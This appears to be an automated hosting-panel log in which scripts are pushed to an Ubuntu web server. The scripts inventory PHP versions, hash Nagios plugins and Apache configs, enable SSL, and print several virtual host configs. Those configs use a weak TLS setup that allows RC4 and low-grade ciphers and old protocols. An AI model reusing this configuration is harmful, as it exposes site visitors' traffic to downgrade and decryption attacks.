 status_module (shared)


2026-05-06 10:24:38: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'mars',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'headers_module',
      22 => 'mime_module',
      23 => 'mpm_prefork_module',
      24 => 'negotiation_module',
      25 => 'php_module',
      26 => 'proxy_module',
      27 => 'proxy_fcgi_module',
      28 => 'reqtimeout_module',
      29 => 'rewrite_module',
      30 => 'setenvif_module',
      31 => 'socache_shmcb_module',
      32 => 'ssl_module',
      33 => 'status_module',
    ),
  ),
)


2026-05-06 10:24:38: 

PUT: /tmp/pkp977872

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-05-06 10:24:38: 

chmod 755 /tmp/pkp977872; /tmp/pkp977872; rm /tmp/pkp977872

2026-05-06 10:24:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-05-06 10:24:38: 

PUT: /tmp/pkp237139

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-05-06 10:24:38: 

chmod 755 /tmp/pkp237139; /tmp/pkp237139; rm /tmp/pkp237139

2026-05-06 10:24:39: 


[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.30
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.30
[php8.4]
php=/usr/bin/php8.4
fpm=/etc/php/8.4/fpm/pool.d
version=8.4.20


2026-05-06 10:24:39: 

PUT: /tmp/pkp484484

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-05-06 10:24:39: 

chmod 755 /tmp/pkp484484; /tmp/pkp484484; rm /tmp/pkp484484

2026-05-06 10:24:39: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_real)= dd4b06ffdde547e7ae66453ed8af464f
bin(/usr/local/nagios/libexec/check_ssh)= 4998ed8f57fbf48bb709a91b5f67fa88
bin(/usr/local/nagios/libexec/check_ntp_time)= cdcc9ae74ad304a1103f3b26aa2a4302
bin(/usr/local/nagios/libexec/check_dummy)= 593927625b5adf7f6cc5626cf271b00c
bin(/usr/local/nagios/libexec/check_ssmtp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_pop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_imap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_wave)= 43070cb5a8919450dc9dddfaad1372c5
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4561ff3ea28b2be1d51e660db0061ecb
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 2d1588877bbecf63a32b8450a9392703
bin(/usr/local/nagios/libexec/check_rpc)= d950b01072804e29ac7f5f081aa982db
bin(/usr/local/nagios/libexec/check_simap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ide_smart)= 70e1d5360c280f5a78a7eaf30fee6e43
bin(/usr/local/nagios/libexec/check_breeze)= 36e02260e64fa5199510d9dc5842d980
bin(/usr/local/nagios/libexec/check_dns)= ab42e148c68a92c9dda556789494efb6
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ntp)= 9e7ffbfb53e8cb4f0ac3f693770675ba
bin(/usr/local/nagios/libexec/check_nagios)= 80e3c448e3c432a57b36339e22b18215
bin(/usr/local/nagios/libexec/check_overcr)= 7b207d58bc55979ba935ef83cc192e11
bin(/usr/local/nagios/libexec/check_nntp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_spop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ftp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_oracle)= 16b08209814208bb2b7c0f352e0219c8
bin(/usr/local/nagios/libexec/check_swap)= 21ddd46a28196d76075b7c635555a6cd
bin(/usr/local/nagios/libexec/check_sensors)= 7c1111569b1fbbb87ed8eb57f57c09d0
bin(/usr/local/nagios/libexec/check_jabber)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_by_ssh)= b1aa934f5258b2f1708c76a1a6e96a0b
bin(/usr/local/nagios/libexec/check_udp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_dig)= 7b01b47a8c952d611baec6a7004cc24c
bin(/usr/local/nagios/libexec/check_http)= 053039e43a1e34634f3516be01892a42
bin(/usr/local/nagios/libexec/check_nt)= 00a2c24b1de53f52b058cc6ebf430806
bin(/usr/local/nagios/libexec/check_disk_smb)= 5261d05672787c38c34ca67a0b83edf8
bin(/usr/local/nagios/libexec/check_mrtg)= 6f4cf4f1b0f8e29f0e465fbb2506e237
bin(/usr/local/nagios/libexec/check_clamd)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_users)= b55c15f4e1aeb36f902037bfd078d1c9
bin(/usr/local/nagios/libexec/check_ircd)= 022af53fbdb44f8b8b75f2713e8aa35b
bin(/usr/local/nagios/libexec/check_procs)= a4157b7321a21494e347131fe3e78e47
bin(/usr/local/nagios/libexec/check_log)= 7a0c4828d6f7ea76d98a51def16460ee
bin(/usr/local/nagios/libexec/check_mailq)= 078442ad36849198a80b539a65e57dc3
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= 6c20e762c6d4ce49fc31b3c0ac28be9e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 64d5374a8c511c9d2a2d199960c2c6f9
bin(/usr/local/nagios/libexec/check_tcp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= cdf54f5ea361ff54adaa5a325bd5e583
bin(/usr/local/nagios/libexec/check_time)= 94da3767ba0be89cb015f6771899764d
bin(/usr/local/nagios/libexec/check_smtp)= d7f2d41ab34b841616e67779411cd4cd
bin(/usr/local/nagios/libexec/check_ping)= bf10c48f916f5eed0d29af7d0e9fd678
bin(/usr/local/nagios/libexec/check_flexlm)= 4e3c614a3494e4e601b0624b4bc8e462
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= 5eb520cefdc87566ccfc5497bb5fc45c
bin(/usr/local/nagios/libexec/check_disk)= 81a61cb2c2922be54adf5b4b15f5ab3c
bin(/usr/local/nagios/libexec/check_uptime)= affa1adb0f2b5b9c950b8582576c3da2
bin(/usr/local/nagios/libexec/check_icmp)= eb69d9de7971a87698948950a5fd8756
bin(/usr/local/nagios/libexec/check_nntps)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_load)= e9e4c57cca90e17e4aa1721c7e8e8c85
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 38508203585e8cbbda9f3031a1940596
bin(/usr/local/nagios/libexec/check_ups)= 65eafce8676b5c74a336c60873a3eef3
bin(/usr/local/nagios/libexec/check_file_age)= 2e331a3782daf78c7b45d7003b6be288
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 1b5efef036053881690728bdee7c1116


2026-05-06 10:24:39: 

PUT: /tmp/pkp693593

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-05-06 10:24:39: 

chmod 755 /tmp/pkp693593; /tmp/pkp693593; rm /tmp/pkp693593

2026-05-06 10:24:39: 


status=ok


2026-05-06 10:24:39: 

PUT: /tmp/pkp952286

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-06 10:24:39: 

chmod 755 /tmp/pkp952286; /tmp/pkp952286; rm /tmp/pkp952286

2026-05-06 10:24:39: 
2026-05-06 10:24:39: 

PUT: /tmp/pkp926557

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/persianchurch_www_info.conf')
    show_file('/etc/apache2/sites-available/youngrepairs_www_com.conf')
    show_file('/etc/apache2/sites-available/pjy_home_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-06 10:24:39: 

chmod 755 /tmp/pkp926557; /tmp/pkp926557; rm /tmp/pkp926557

2026-05-06 10:24:39: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/persianchurch_www_info.conf	1429

<VirtualHost *:80>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8eb6e7ad55f500c5383398213d6ce103.crt
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/youngrepairs_www_com.conf	1663

<VirtualHost *:80>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.youngrepairs.com
    DocumentRoot	/var/www/youngrepairs_www/public
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/run/php/php8.2-fpm.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.youngrepairs.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt
    DocumentRoot	/var/www/youngrepairs_www/public
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_secure_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/run/php/php8.2-fpm.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_home_us.conf	465

<VirtualHost *:80>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_home
    <Directory /var/www/pjy_home>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/pjy/home_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>






(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/croydonchurch_www_info.conf)= de5778253e92019758e42ba4bd5e8ed5
MD5(/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt)= fe07422cbe758b217492221923475dac
MD5(/etc/apache2/sites-available/maminas_www_info.conf)= 9cc34fbadf9246b60a8c82e2f423c9e9
MD5(/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt)= 21c624d3bcdb6c3f01d2bfda1de6cd52
MD5(/etc/apache2/sites-available/carelinks_new_net.conf)= 9c97b03195ac1afa3ce88426fe57af03
MD5(/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt)= 5b6ac76901ff68dcda4a55ed292fb31e
MD5(/etc/apache2/sites-available/carelinks_www_org-uk.conf)= 13c0ae8eb21eac468e9f6afba3bde463
MD5(/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt)= f132ef23cb62d0e80d0586e7546221c3
MD5(/etc/apache2/sites-available/r-b-c_www_org.conf)= 28acf9b6c6c1defc473eee4d22d963a1
MD5(/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt)= e057cdf9b93fc05ab6471641fcde0180
MD5(/etc/apache2/sites-available/carelinks-uk_www_org.conf)= 7698a6d27320f3dd439958b4cbb016b0
MD5(/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt)= b87b368bb103ed46308719affdfcf030
MD5(/etc/apache2/sites-available/vards_www_info.conf)= 3ab195fb7a9c9280f3f22c96e086f160
MD5(/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt)= 707304c25cc6327dd1c41ca6c42e7c87
MD5(/etc/apache2/sites-available/persianchurch_www_info.conf)= f95a1e1b2c8674702c8e881dbd6f6102
MD5(/etc/ssl/certs/8eb6e7ad55f500c5383398213d6ce103.crt)= 51295f38861ad48c28fe92aee2eb7e50
MD5(/etc/apache2/sites-available/pjy_croydon_us.conf)= 86950bee017a51fa98cbc51c02d1dd62
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= d1a350395fe5750eac654f1dc1ac7894
MD5(/etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf)= 1480b663074fec483391ae597a5513ef
MD5(/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt)= 14b7bb4470ccea0634615a2b4db17359
MD5(/etc/apache2/sites-available/biblebasicsonline_www_com.conf)= f39a106d73153edb8da1df3e5bc1d7a6
MD5(/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt)= 5d28fd2cef2be3cf899395f8c461b70e
MD5(/etc/apache2/sites-available/freebible_www_info.conf)= 5d9475b21ba2f9e0bbbae32738a7fbb9
MD5(/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt)= 3be906ce6e2bcb7301d484487eea1048
MD5(/etc/apache2/sites-available/christadelphian_www_video.conf)= 6c1775cfef88e9db37e5dcacef8c8f61
MD5(/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt)= a9c7e854d597a5527f781108f2360e6e
MD5(/etc/apache2/sites-available/carelinksaustralia_www_info.conf)= bd4f1d092e6288ceb01fbd1a914e1ebb
MD5(/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt)= d6e199f2a4d3863d3af40962bcaf8d07
MD5(/etc/apache2/sites-available/christadelphianfraternal_www_info.conf)= ea10c8b417de303fe2e11ff496867757
MD5(/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt)= e705b34f5803f818080dcae1514b9cd2
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c202940d12afc709bc209702a23693a1
MD5(/etc/apache2/sites-available/hopeinstoughton_backup_org.conf)= d6dc9d43d121926a46faa5eec5bdcd92
MD5(/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt)= 7b0d1f1ff576eb65313134d488a758c4
MD5(/etc/apache2/sites-available/osnowybiblii_www_info.conf)= e14143658423f8b0c73a4a18085300aa
MD5(/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt)= 9d3953ec22db1f162225b0cad02797d8
MD5(/etc/apache2/sites-available/hostz_mars_org.conf)= 88f5f31beef6497b68a0b8c080aa1b3a
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= e6793b5dec675b86d1ddb7df78c5dcbc
MD5(/etc/apache2/sites-available/youngrepairs_www_com.conf)= 7bae46db0527c5ecb8e2e4244d6014eb
MD5(/etc/ssl/certs/76526c88d7a3ad40c19457afe65bc2f6.crt)= d0adbd262909ed5755eb543ae4ed3506
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/realchrist_www_info.conf)= a6b7d2fd0d0f98cbf19ec30bb5a7ea7d
MD5(/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt)= 6b8c65fa02be730c3aa1ad3e520d0471
MD5(/etc/apache2/sites-available/hopeinstoughton_media_org.conf)= 4d7d9c7a117fe73b85302c4606bc86a5
MD5(/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt)= cb58d8a7f89e412fc58513e9580bfbe2
MD5(/etc/apache2/sites-available/bible-basics_www_info.conf)= 35d736d6ea8eac9bc27d8a77cf53c71d
MD5(/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt)= 27dc3c9248dffe4867c06ef996eee7da
